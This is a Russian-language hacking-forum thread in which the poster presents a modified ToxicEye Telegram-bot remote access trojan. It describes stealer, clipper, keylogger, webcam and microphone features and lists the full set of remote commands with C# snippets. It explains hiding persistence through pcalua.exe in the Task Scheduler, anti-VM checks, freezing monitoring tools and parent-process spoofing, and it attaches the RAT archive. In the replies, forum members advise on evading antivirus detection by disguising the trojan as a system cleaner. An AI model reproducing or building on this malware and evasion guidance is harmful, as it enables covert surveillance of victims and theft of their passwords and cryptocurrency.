Малварь как искусство ToxicEye или как шпионить через Telegram бота


Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
264
Репутация
146
Всем доброго времени суток! Эта статья является мини-обзором по опенсорсному RAT на базе телеграмм бота. Статья не является каким-либо руководством к чему-либо противозаконному, разбор ниже приводится исключительно в ознакомительных целях. Ни автор софта, ни автор статьи не несет ответственности за возможный причиненный ущерб любого рода.

Github →

Использование телеграмм в качестве C&C не является чем-то новым, скорее всего просто удобным. Ничего делать особо не нужно, достаточно через батю ботов (BotFather) создать нового бота, взять его токен и вшить в зверька, как и приводится в оригинальном описании.

1702750679280.png


Ратник имеет достаточно большой функционал, где есть возможность подключаться к микрофону, к камере, также имеем функционал стиллера для сбора сохраненных паролей, клиппера для подмены адресов криптокошелька на свой, функции кейлоггера и т.д. Но так как автор более 3 лет не поддерживает свой продукт, было проведено изучение и модификация проекта.

Начнем с того, как вообще работает бот. При запуске бинарника, в отдельном потоке запускается обработчик команд. Через класс WebClient функией DownloadString() скачивается всё содержимое JSON-объекта. Затем через парсер SimpleJson получаем значение из поля id. Это ID чата того, кто написал боту. Записываем его в переменную chatId, и если ID отличается от того, что указан в конфиге, то просто игнорируем. Как уже понятно, это сделано для того, чтобы никто кроме нас не смог написать боту. Как только бот устанавливает подключение, он сообщает, что подключился готов принимать команды.

1702750820951.png


Теперь по поводу команд. Так как в проекте их обработка реализована как передача аргументов, то есть принятая команда имеет 0 индекс, вторая 1 и тд, то возникает основная проблема – это содержание пробелов. К примеру, скопировать файл из C:\Program Files\... куда-либо не получится, взять в кавычки тоже, так как JSON парсер не сможет их обработать и экранировать. Поэтому, если имеется содержание пробелов, их можно заменить символом подчеркивания.

Например, команда /CopyFile выглядит так:

COPYFILE:
case "COPYFILE":
{
    // Check if args exists
    string path1 = "", path2 = "";
    try
    {
        path1 = args[1].Replace('_', ' ').Replace('|', '_');
        path2 = args[2].Replace('_', ' ').Replace('|', '_');
    }
    catch (IndexOutOfRangeException)
    {
        tg.sendText("No arguments <file>, <file> found!");
        break;
    }
    // If file not exists
    if (!File.Exists(path1))
    {
        tg.sendText(string.Format("File \"{0}\" not found!", path1));
        break;
    }
    // Copy file
    try
    {
        File.Copy(path1, path2);
    }
    catch
    {
        tg.sendText(string.Format("File \"{0}\" not copied to: \"{1}\"", path1, path2));
        break;
    }
    tg.sendText(string.Format("✅ File \"{0}\" copied to: \"{1}\"", path1, path2));
    break;
}

Аналогично другим командам, по типу CopyDir, MoveDir, MoveFile.

Для удобства рассмотрим весь список команд. Примерно 10% было убрано, дабы уменьшить палевность зверька. И примерно 75% доработано / исправлено.

/ComputerInfo – Сбор информации о системе. Это первое, что следует выполнить на удаленной машине, дабы знать, с чем мы работаем. Пример:
--Computer info--
System: Windows 10 Корпоративная (64 Bit)
User name: 7D787F1D-608B-4\WDAGUtilityAccount
System time: 00-01-0001 00:00:00 AM

--Protection--

Installed antivirus: N/A

--Hardware--

CPU: AMD Ryzen 5 4500U with Radeon Graphics
GPU:
Microsoft Remote Display Adapter
RAM: 4094MB
Motherboard: Microsoft Corporation Virtual Machine
HWID: 0000000000000000

--LocalDisks--

Description Name
Локальный несъемный диск C:

Здесь думаю всё понятно, не будет останавливаться.

/ActiveWindow – узнать текст заголовка активного окна. Чем это может быть полезно? Например, в заголовке содержится название проигрывателя, или музыкальная композиция – понятно, жертва слушает музыку. Или другой пример, в заголовке имеется название соц. Сети или переписка. Тут можно сделать скриншот, не привлекая внимания, об этом позже.

/Whoami – узнать привилегии в системе. Стандартная команда консоли, выполненная нестандартным способом. Так как на whoami ругаются многие AV, то стоит задействовать WMI.

C#:
public static string GetProcessOwner(int processId)
{
    foreach (ManagementObject managementObject in new ManagementObjectSearcher("Select * From Win32_Process Where ProcessID = " + processId.ToString()).Get())
    {
        string[] args = new string[2]
        {
  string.Empty,
  string.Empty
        };
        if (Convert.ToInt32(managementObject.InvokeMethod("GetOwner", (object[])args)) == 0)
            return args[1] + "\\" + args[0];
    }
    return "NO OWNER";
}

Так мы будем знать, какие у нас права. Аналогичным способом узнаем имя компьютера и имя пользователя по процессу проводника (explorer.exe).

/ProcessList – Вывести список процессов c их process id (svchost исключен по умолчанию, так как он не представляет интерес и его очень много). Тут ничего необычного, но, есть важный момент. Телеграм бот не способен передавать более 4096 символов одним сообщением, это ограничение самого телеграма. Поэтому делаем некие нарезания по 4096 символов, если сообщение не умещается.


C#:
public static async void DisplayRunningProcesses()
{
    int chunkSize = 4096;
    List<string> procs = new List<string>();
    foreach (Process p in Process.GetProcesses().OrderBy(p => p.ProcessName).ToList())
    {
        try
        {
            if (!exclusionList.Contains(p.ProcessName.ToLower()))
            {
                //Console.WriteLine($"- {p.ProcessName}");
                string proc = p.ProcessName + " | " + p.Id;
                procs.Add(proc);
            }

        }
        catch (Exception)
        {
            continue;
        }
    }

    StringBuilder list = new StringBuilder("Processes:\n\n");
    foreach (var item in procs)
    {
        list.AppendLine(item);
    }

    string resultString = list.ToString();

    List<string> messageChunks = utils.SplitString(resultString, chunkSize);

    foreach (var chunk in messageChunks)
    {
        tg.sendText(chunk);
        await Task.Delay(500);
    }
}

/ProcessKill <процесс> - Убить указанный процесс по его имени. Указывать .exe в конце не нужно. Все процессы, которые имеют это имя, будут закрыты;

/ProcessKillid <pid> - То же, что и ProcessKill, но по id конкретного процесса;

/ProcessStart <процесс> - Запустить процесс, указав имя исполняемого файла или его полный путь;

/ProcessFreeze <id> [timeout] – Приостановить (заморозить) процесс. Можно, но не обязательно, указать timeout – время, по истечении которого бот снова возобновит указанный процесс;

/MakeUntrusted <имяпроцесса> - “Поломать” указанный процесс по имени (ставит уровень целостности на Недоверенный). Удаляет привилегии у процесса. Лучше не применять на svchost. Это сделает винду полурабочей и придется выключать с кнопки. Забавный результат будет, если натравить на диспетчер задач или тот же ProcessHacker, наши подопытные будут лишены возможности просматривать какие либо процессы до перезапуска.

/ProcAddEx <процесс1,процесс2...> - Добавляет в исключение имена выводимых процессов для команды /processlist. Например, у нас имеется многочисленные процессы браузера, которые также не представляют интерес. На данный момент исключенные имена процессов нигде не сохраняются. При следующем запуске бота снова будет 1 исключенный svchost.

/ProcRemEx <процесс1,процесс2...> - Удаляет исключенные имена выводимых процессов для команды /processlist;

/ProcShowExList – Показать, какие процессы исключены и не выводятся по команде /processlist;

/MinimizeAllWindows – свернуть все окна;

/MaximizeAllWindows – развернуть все окна;

/CreateFile <C:\путь\к\файлу.txt> - Создать новый файл. Указывать имя или полный путь;

/WriteToFile <C:\путь\к\файлу.txt>|<содержимое> - Создать новый файл, если он не существует и записать что-либо (какой-то текст). Наличие вертикальной черты ‘|’ служит для определения с какого места считывать желаемое содержимое файла. Пробелы также учитываются и кавычки не требуются;

/DownloadFile <file/dir> - Скачать файл или каталог с компьютера. Указывать полный путь, если путь содержит пробелы, кавычки не использовать;

/UploadFile <drop/url> - Загрузить файл на целевой компьютер. Можно просто бросить файл на окно телеграма;

/RunFile <file> - Просто открывает файл, например, если это текстовый документ, он откроется редактором по умолчанию;

/ListFiles <dir> - Показывает файлы и каталоги. Аналогично с ProcessList – сообщения будут поделены на куски, если не умещается. Пробелы также учитываются, кавычки ставить не надо.

/RemoveFile <file> - Удалить файл, указав полный путь без кавычек;

/RemoveDir <dir> - Удалить каталог, указав полный путь также без кавычек;

/MoveFile <path_to_file> <path_to_file> - Переместить файл. Следует заменить знак пробела на знак подчеркивания, если путь содержит пробелы

/CopyFile <path_to_file> <path_to_file> - Скопировать файл. Как ранее говорилось, содержание пробелов заменяется символом подчеркивания _

/MoveDir <path_to_dir> <path_to_dir> - тоже что и /MoveFile, но с каталогом

/CopyDir <path_to_dir> <path_to_dir> - скопировать каталог.

/Setdir <dir> - Сделать указанный каталог рабочим каталогом для бота;

/Workdir <dir> - Указанный каталог будет рабочим для cmd или powershell (об этом ниже)

/SetDate <формат> <file/dir> - Установить дату-время на файл или каталог в формате ДД:ММ:ГГГГ чч:мм;

/GetDate <file/dir> - получить дату-время из файла или каталога;

/Shell <command> - запускает cmd.exe с указанной командой в скрытом режиме. Ключ /c не требуется. Изначально, ошибка в cmd ни к чему не приводила. Было не понятно, было ли выполнено действие или нет. Теперь через установку для консоли правильной кодировки в случае ошибки она будет передана обратно в чат оператору.

/Powershell <command> - Запускает powershell в скрытом режиме с указанной командой (команды по умолчанию шифрованы в base64 через ключ -encodedcommand);

/OpenURL <url> - открыть ссылку (сайт) по указанному URL в браузере по умолчанию;

/Uninstall – Удаляет бота из системы;

/Desktop – Сделать скриншот. На этот раз через WinAPI учитывается масштабирование экрана.

/Check – проверка бота на активность, дабы узнать не умер ли он. Стоит использовать, так как бот при неактивности игнорирует команды и при следующем запуске исполнит последнюю.

/BlockInput <секунды> - блокирует ввод с клавиатуры и мыши на определенный интервал;

/Monitor <on/off/standby> - выключает или включает монитор;

/BSoD – вызвать синий экран смерти. Изначально это было реализовано через WinAPI NtRaiseHardError, затем через запуск powershell с аргументом wininit, но это всё уже не работает, если бот изначально был запущен от имени системы. Было решено установкой процесса бота как критический и просто закрытие текущего процесса.

/Shutdown – Выключить ПК

/Reboot - Перезагрузка

/Hibernate - Гибернация

/Logoff – Завершение сеанса (выход из системы)

/Help – Помощь по командам в самом боте

По командам всё.

Поскольку мы говорим о неком «шпионаже», то боту нужен какой-то механизм для закрепления в системе.

Самый банальный способ – добавление себя в планировщик заданий. Удобно? Да. Но первый же опытный юзер его заметит. Поэтому, добавлять его в корень планировщика не стоит. Следует засовывать куда-то поглубже, а чтобы замаскироваться от всевидящего Autoruns, вместо бинарника бота указываем pcalua.exe, через аргументы -a <путь>
указываем уже путь на бинарник зверька. Так мы сможем убрать жирную красную строку в большом списке, которая говорит об отсутствии действительной подписи, чтобы в глаза не бросалось.

1702751638489.png


Далее, зверьку нужен какой-то механизм самозащиты. Сюда входит анти-виртуализация для защиты от запуска на виртуалке и анти-отладка, тут почти никаких изменений не было. Разве что принцип нахождения виртуальный среды. Это можно определять по модели монитора. На реальной машине будет выдана строка, а в виртуальной будет ошибка, которую можно обработать.

Далее, чтобы затруднить обнаружение бота, добавляем ещё 2 метода для двух потоков. Первый будет искать в фоне NetLimiter, второй CrowdInspect и при нахождении такового просто замораживать его. Просто завершать процесс слишком скучно)

На последок, был добавлен механизм подмены родительского процесса, от которого будут унаследованых все привиллегии.

Пока на этом всё. Дальнейшая доработка имеет место быть, проект очень интересный. Хотелось бы добавить инжектор основной полезной нагрузки, какой-нибудь патчинг AMSI и возможно изучить использование D/Invoke. Ознакомиться с проектом можно в архиве.

Пароль на архив:
Вам нужно авторизоваться, чтобы просмотреть содержимое.


Готов почитать комментарии)
 

Вложения

  • 1702750716481.png
    1702750716481.png
    80.8 КБ · Просмотры: 12
  • TelegramRAT.rar
    375.5 КБ · Просмотры: 7

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
По описанию очень круто.)

Я-бы не заморачивался со всякими антианализами, добавления в автозагрузку и т.д.

Это только увеличит детект.)

Если цель скрытие от антивирусов, то рекомендую убрать всякие методы антианализа, добавление в автозапуск и т.д и оставить только общение с ботом, если на это будет детект, то уже что-то придумывать.

А все остальное, т.е. добовление в автозагрузку и прочее, делать уже командами и желательно отдельными модулями.

Короче то-что внедряется должно-быть максимально легитимным, далее закрепление должно отдельно идти, иначе будут детекты.)
 
Последнее редактирование:

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
264
Репутация
146
@X-Shar, хорошая идея)

закрепление отдельно в каком плане? Тоже ввиде модуля?
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
Можно команду сделать, добавить в автозагрузку, для начала.

И еще, если возможно, лучше создай форк в гите, или любой системе управления версиями, так проще обновлять код, может кто-то еще подключится...)
 

alexandro1998

Пользователь
Форумчанин
Регистрация
08.12.2023
Сообщения
26
Репутация
10
Можно команду сделать, добавить в автозагрузку, для начала.

И еще, если возможно, лучше создай форк в гите, или любой системе управления версиями, так проще обновлять код, может кто-то еще подключится...)
Автозапуск лучше через дополнительный "материал" либо же инжект - и от имени другого себя добавить, также недавно мучался из-за этого. Но это по Си, нет возможности докидывать исполняемый код, как на Шарпах.
Для легетимности можешь что-то типо СиКлинера сделать, чистить комп от мусора (имитируй максимум чего угодно, к крайнем случае подчисти %tmp%). Там конечно чутка запарно, но в 19м году вирустотал более месяца держал 0 детектов на наш проект :)
 

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
264
Репутация
146
@alexandro1998, вообще, тема инжектов тоже интересная и это хотелось бы освоить. Именно на шарпе
 

alexandro1998

Пользователь
Форумчанин
Регистрация
08.12.2023
Сообщения
26
Репутация
10
@alexandro1998, вообще, тема инжектов тоже интересная и это хотелось бы освоить. Именно на шарпе
Вообще шарпы оч гибкие, но их изи реверс сводит усилия на нет. Насчёт инжектов оч советую хсс почитать, за 2021-й вроде ищи.
 
Верх Низ